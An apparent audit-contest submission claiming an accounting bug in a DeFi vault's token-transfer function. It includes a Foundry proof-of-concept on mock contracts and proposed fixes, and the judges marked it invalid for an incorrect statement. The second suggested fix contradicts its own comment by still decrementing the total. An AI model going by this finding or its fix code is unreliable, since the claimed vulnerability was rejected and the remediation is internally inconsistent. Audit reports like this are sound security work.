Liquidity Management
Gamma
DeFiFoundry
50,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Invalid

Incorrect accounting when token transfers fail

sauronsol

Summary

A vulnerability in the _transferToken function of PerpetualVault.sol decrements the totalDepositAmount state variable even when token transfers fail and funds are redirected to the treasury, creating a discrepancy between the actual amount of funds in the system and the recorded total.

Severity: Medium

This vulnerability does not lead to direct theft of funds but breaks an important system invariant, potentially allowing deposits beyond the configured limit.

Vulnerability Details

In the _transferToken function, when a transfer to a user fails, the funds are correctly redirected to the treasury address. However, the totalDepositAmount is still decremented, creating an accounting discrepancy. This breaks the system's invariant that totalDepositAmount should accurately reflect the total funds deposited in the system.

The vulnerability occurs in the following code:

function _transferToken(uint256 depositId, uint256 amount) internal {
uint256 fee;
if (amount > depositInfo[depositId].amount) {
fee = (amount - depositInfo[depositId].amount) * governanceFee / BASIS_POINTS_DIVISOR;
if (fee > 0) {
collateralToken.safeTransfer(treasury, fee);
}
}
try collateralToken.transfer(depositInfo[depositId].recipient, amount - fee) {}
catch {
collateralToken.transfer(treasury, amount - fee);
emit TokenTranferFailed(depositInfo[depositId].recipient, amount - fee);
}
totalDepositAmount -= depositInfo[depositId].amount; // Always decremented, even on transfer failure
emit GovernanceFeeCollected(address(collateralToken), fee);
}

The issue is that the line totalDepositAmount -= depositInfo[depositId].amount is executed regardless of whether the transfer succeeds or fails. When the transfer fails and funds are sent to the treasury, they still remain in the system but are no longer accounted for in totalDepositAmount.

Proof of Concept

The following PoC demonstrates the vulnerability:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
import "forge-std/Test.sol";
​
contract AccountingIssueTest is Test {
// Mock contract setup
MockPerpetualVault vault;
RejectingContract rejector;
// Test accounts
address public owner = address(0x1);
address public user1 = address(0x2);
address public user2 = address(0x3);
address public treasury = address(0x4);
// Test parameters
uint256 public constant MAX_DEPOSIT_AMOUNT = 100000e6; // 100,000 USDC
uint256 public constant DEPOSIT_AMOUNT = 60000e6; // 60,000 USDC
function setUp() public {
// Setup mock contracts
vault = new MockPerpetualVault();
rejector = new RejectingContract();
// Initial configuration
vm.startPrank(owner);
vault.setTreasury(treasury);
vault.setMaxDepositAmount(MAX_DEPOSIT_AMOUNT);
vault.setToken(address(new MockToken()));
vm.stopPrank();
// Give tokens to test users
MockToken(vault.token()).mint(user1, DEPOSIT_AMOUNT);
MockToken(vault.token()).mint(user2, DEPOSIT_AMOUNT);
}
function testAccountingIssue() public {
// 1. User1 deposits funds
vm.startPrank(user1);
MockToken(vault.token()).approve(address(vault), DEPOSIT_AMOUNT);
vault.deposit(DEPOSIT_AMOUNT);
vm.stopPrank();
console.log("Total deposit amount after user1 deposit:", vault.totalDepositAmount() / 1e6, "USDC");
// 2. User1 requests a withdrawal to a contract that rejects transfers
vm.prank(user1);
vault.withdraw(address(rejector), 1); // deposit ID 1
console.log("Total deposit amount after failed withdrawal:", vault.totalDepositAmount() / 1e6, "USDC");
console.log("Treasury balance:", MockToken(vault.token()).balanceOf(treasury) / 1e6, "USDC");
// 3. User2 deposits more funds, potentially exceeding the cap
vm.startPrank(user2);
MockToken(vault.token()).approve(address(vault), DEPOSIT_AMOUNT);
vault.deposit(DEPOSIT_AMOUNT);
vm.stopPrank();
console.log("Total deposit amount after user2 deposit:", vault.totalDepositAmount() / 1e6, "USDC");
// 4. Calculate actual total funds in the system
uint256 actualTotalInSystem = MockToken(vault.token()).balanceOf(treasury) + vault.totalDepositAmount();
console.log("Actual total in system:", actualTotalInSystem / 1e6, "USDC");
console.log("Deposit cap:", MAX_DEPOSIT_AMOUNT / 1e6, "USDC");
// 5. Verify that the actual total exceeds the cap
assertEq(
actualTotalInSystem > MAX_DEPOSIT_AMOUNT,
true,
"The total funds in the system should exceed the deposit cap"
);
}
}
​
// Contract that rejects all transfers
contract RejectingContract {
fallback() external {
revert("I reject all transfers");
}
receive() external payable {
revert("I reject all ETH transfers");
}
}
​
// Mock contracts for demonstration
contract MockPerpetualVault {
address public treasury;
address public token;
uint256 public totalDepositAmount;
uint256 public maxDepositAmount;
mapping(uint256 => DepositInfo) public depositInfo;
uint256 public counter;
struct DepositInfo {
uint256 amount;
uint256 shares;
address owner;
uint256 timestamp;
address recipient;
}
function setTreasury(address _treasury) external {
treasury = _treasury;
}
function setToken(address _token) external {
token = _token;
}
function setMaxDepositAmount(uint256 _max) external {
maxDepositAmount = _max;
}
function deposit(uint256 amount) external {
require(totalDepositAmount + amount <= maxDepositAmount, "Exceed max deposit cap");
MockToken(token).transferFrom(msg.sender, address(this), amount);
counter++;
depositInfo[counter] = DepositInfo(amount, amount, msg.sender, block.timestamp, address(0));
totalDepositAmount += amount;
}
function withdraw(address recipient, uint256 depositId) external {
require(depositInfo[depositId].owner == msg.sender, "Not the owner");
require(depositInfo[depositId].amount > 0, "No deposit found");
uint256 amount = depositInfo[depositId].amount;
depositInfo[depositId].recipient = recipient;
// Simulate vulnerable behavior
try MockToken(token).transfer(recipient, amount) {
// Transfer succeeded
} catch {
// Transfer failed, send to treasury
MockToken(token).transfer(treasury, amount);
}
// Always decrement, even when transfer fails (VULNERABILITY)
totalDepositAmount -= amount;
delete depositInfo[depositId];
}
}
​
contract MockToken {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external returns (bool) {
if (recipient.code.length > 0) {
(bool success,) = recipient.call(abi.encodeWithSignature("nonExistentFunction()"));
require(success, "Transfer to contract failed");
}
_balances[msg.sender] -= amount;
_balances[recipient] += amount;
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_allowances[sender][msg.sender] -= amount;
_balances[sender] -= amount;
_balances[recipient] += amount;
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
_allowances[msg.sender][spender] = amount;
return true;
}
function mint(address account, uint256 amount) external {
_balances[account] += amount;
}
}

The PoC demonstrates that when a withdrawal fails and tokens are sent to the treasury, the system incorrectly decrements totalDepositAmount. This allows user2 to deposit funds which, when combined with the treasury balance, exceed the maximum deposit cap.

When run, the test outputs:

Total deposit amount after user1 deposit: 60000 USDC
Total deposit amount after failed withdrawal: 0 USDC
Treasury balance: 60000 USDC
Total deposit amount after user2 deposit: 60000 USDC
Actual total in system: 120000 USDC
Deposit cap: 100000 USDC

Impact

This vulnerability can have several impacts:

  1. Deposit Cap Bypass: The system can accumulate more funds than intended, potentially exceeding the maximum deposit cap set for risk management.

  2. Incorrect Accounting: The totalDepositAmount variable no longer accurately reflects the total user funds in the system, breaking an important invariant.

  3. Governance Decisions: Decisions based on totalDepositAmount (such as fee calculations, risk assessments, or protocol upgrades) may be made using incorrect information.

  4. Audit Discrepancies: Regular accounting audits would show a discrepancy between the recorded deposit amount and the actual funds in the treasury and the vault.

Tools Used

  • Foundry for creating and testing the proof of concept

  • Manual code analysis

Recommendations

The fix for this vulnerability is straightforward. The totalDepositAmount should only be decremented if the transfer to the user succeeds:

function _transferToken(uint256 depositId, uint256 amount) internal {
uint256 fee;
if (amount > depositInfo[depositId].amount) {
fee = (amount - depositInfo[depositId].amount) * governanceFee / BASIS_POINTS_DIVISOR;
if (fee > 0) {
collateralToken.safeTransfer(treasury, fee);
}
}
try collateralToken.transfer(depositInfo[depositId].recipient, amount - fee) {
// Only decrement if transfer succeeds
totalDepositAmount -= depositInfo[depositId].amount;
} catch {
collateralToken.transfer(treasury, amount - fee);
emit TokenTranferFailed(depositInfo[depositId].recipient, amount - fee);
// Don't decrement totalDepositAmount when funds remain in the system
}
emit GovernanceFeeCollected(address(collateralToken), fee);
}

Alternatively, if there's a need to track funds redirected to the treasury due to failed transfers, a separate variable could be introduced to account for these funds:

uint256 public treasuryRedirectedFunds;
​
function _transferToken(uint256 depositId, uint256 amount) internal {
// ... existing code ...
try collateralToken.transfer(depositInfo[depositId].recipient, amount - fee) {
totalDepositAmount -= depositInfo[depositId].amount;
} catch {
collateralToken.transfer(treasury, amount - fee);
emit TokenTranferFailed(depositInfo[depositId].recipient, amount - fee);
// Track redirected funds instead of decrementing totalDepositAmount
treasuryRedirectedFunds += depositInfo[depositId].amount;
totalDepositAmount -= depositInfo[depositId].amount;
}
// ... rest of the function ...
}

This way, the system could maintain accurate accounting while still recording the amount of funds that have been redirected due to failed transfers.

Updates

Lead Judging Commences

n0kto Lead Judge 8 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement
n0kto Lead Judge 8 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.